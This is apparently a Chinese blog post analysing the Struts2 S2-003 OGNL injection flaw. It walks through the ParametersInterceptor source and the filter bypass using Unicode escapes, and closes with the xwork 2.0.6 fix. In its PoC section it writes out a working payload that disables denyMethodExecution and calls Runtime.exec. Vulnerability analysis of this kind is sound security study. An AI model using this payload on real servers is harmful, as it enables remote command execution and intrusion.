Struts2 003

0x00 前言

一直在忙其他的事情,Struts2的事情就耽搁下来了,乘着今天有空,抓紧时间看一下。

0x01 环境

Demo地址:https://github.com/xhycccc/Struts2-Vuln-Demo

启动后的内容:
在这里插入图片描述

0x02 漏洞分析

1.过程分析

问题主要是出在了ParameterInterceptor 这个拦截器这里,ParameterInterceptor主要是用于拦截请求的数据结构,以获取参数相关的信息。
ParameterInterceptor拦截器位置:xwork-2.0.5.jar!\com\opensymphony\xwork2\interceptor\ParametersInterceptor.class

doIntercept 拦截器
在这里插入图片描述

首先是设置了三个配置:

   OgnlContextState.setCreatingNullObjects(contextMap, true);
   OgnlContextState.setDenyMethodExecution(contextMap, true);
   OgnlContextState.setReportingConversionErrors(contextMap, true);

然后进入setParameters方法,这里的setDenyMethodExecution是指是否进行方法执行,默认为true,如果想要执行ognl,这里要设置为true,这也就是为什么可以看到payload中看到存在这个属性修改的内容。

public String doIntercept(ActionInvocation invocation) throws Exception {
		//获取action
        Object action = invocation.getAction();
        if (!(action instanceof NoParameters)) {
        	//获取上下文内容
            ActionContext ac = invocation.getInvocationContext();
            //获取参数
            Map parameters = ac.getParameters();
            if (LOG.isDebugEnabled()) {
                LOG.debug("Setting params " + this.getParameterLogMap(parameters));
            }

            if (parameters != null) {
            	//获取上下文参数
                Map contextMap = ac.getContextMap();

                try {
                	//是否允许创建null对象
                    OgnlContextState.setCreatingNullObjects(contextMap, true);
                    // 是否设置拒绝方法执行(和OGNL表达式执行相关)
                    OgnlContextState.setDenyMethodExecution(contextMap, true);
                    // 是否设置转换错误
                    OgnlContextState.setReportingConversionErrors(contextMap, true);
                    //获取堆栈
                    ValueStack stack = ac.getValueStack();
                    //参数设置
                    this.setParameters(action, stack, parameters);
                } 
protected void setParameters(Object action, ValueStack stack, Map parameters) {
		// 判断是否存在ParameterNameAware接口,此接口主要是限制Action仅接收一定规则的参数
        ParameterNameAware parameterNameAware = action instanceof ParameterNameAware ? (ParameterNameAware)action : null;
        Map params = null;
        if (this.ordered) {
            params = new TreeMap(this.getOrderedComparator());
            params.putAll(parameters);
        } else {
            params = new TreeMap(parameters);
        }
		//循环遍历传入参数,并且进行拆分
        Iterator iterator = params.entrySet().iterator();

        while(true) {
            Entry entry;
            String name;
            boolean acceptableName;
            do {
                if (!iterator.hasNext()) {
                    return;
                }

                entry = (Entry)iterator.next();
                name = entry.getKey().toString();
                acceptableName = this.acceptableName(name) && (parameterNameAware == null || parameterNameAware.acceptableParameterName(name));
            } while(!acceptableName);

            Object value = entry.getValue();

            try {
            	// 参数设置
                stack.setValue(name, value);
            } catch (RuntimeException var13) {
                if (devMode) {
                    String developerNotification = LocalizedTextUtil.findText(ParametersInterceptor.class, "devmode.notification", ActionContext.getContext().getLocale(), "Developer Notification:\n{0}", new Object[]{var13.getMessage()});
                    LOG.error(developerNotification);
                    if (action instanceof ValidationAware) {
                        ((ValidationAware)action).addActionMessage(developerNotification);
                    }
                } else {
                    LOG.error("ParametersInterceptor - [setParameters]: Unexpected Exception caught setting '" + name + "' on '" + action.getClass() + ": " + var13.getMessage());
                }
            }
        }
    }

这里通过循环遍历来解析输入的参数内容
在这里插入图片描述通过acceptableName方法进行过滤
在这里插入图片描述首先来看:isAccepted方法,判断的内容是:^,#:=
在这里插入图片描述最后在setValue的地方执行Ognl

在这里插入图片描述后续分析以及执行原理可以看:Struts2 Ognl setValue 触发方式

2.poc分析

要想执行我们的目标("@java.lang.Runtime@getRuntime().exec('calc')")(a)(b),那么就需要针对过滤过程进行分析。

通过测试发现直接使用并不能成功,因为默认设置了DenyMethodExecution为true,现在我们首先需要先修改DenyMethodExecution的值。

先来看setDenyMethodExecution,更改的是上下文的值
在这里插入图片描述首先更改xwork.MethodAccessor.denyMethodExecution的值

(#context['xwork.MethodAccessor.denyMethodExecution']=false)(a)(b)

但是#已经被过滤了,所以需要通过一些方式进行绕过,在setvalue中会对输入的内容进行处理,在遇到\u的时候就会解码。

在这里插入图片描述
所以把(#context['xwork.MethodAccessor.denyMethodExecution']=false)(a)(b)转为Unicode

("\u0023context['xwork.MethodAccessor.denyMethodExecution']\u003dfalse")(a)(b)

然后再加上命令执行的

('\u0023d\u003d@java.lang.Runtime@getRuntime().exec(\'calc\')')(a)(b)

组合一下就是

("\u0023context['xwork.MethodAccessor.denyMethodExecution']\u003dfalse")(a)(b)&('\u0023d\u003d@java.lang.Runtime@getRuntime().exec(\'calc\')')(a)(b)

最后url编码一下。就ok了。

0x03 修复

在xwork2.0.6中,修复了如下内容,增加了setAcceptProperties和setExcludeProperties配置,静止调用静态方法。
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

王嘟嘟_

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值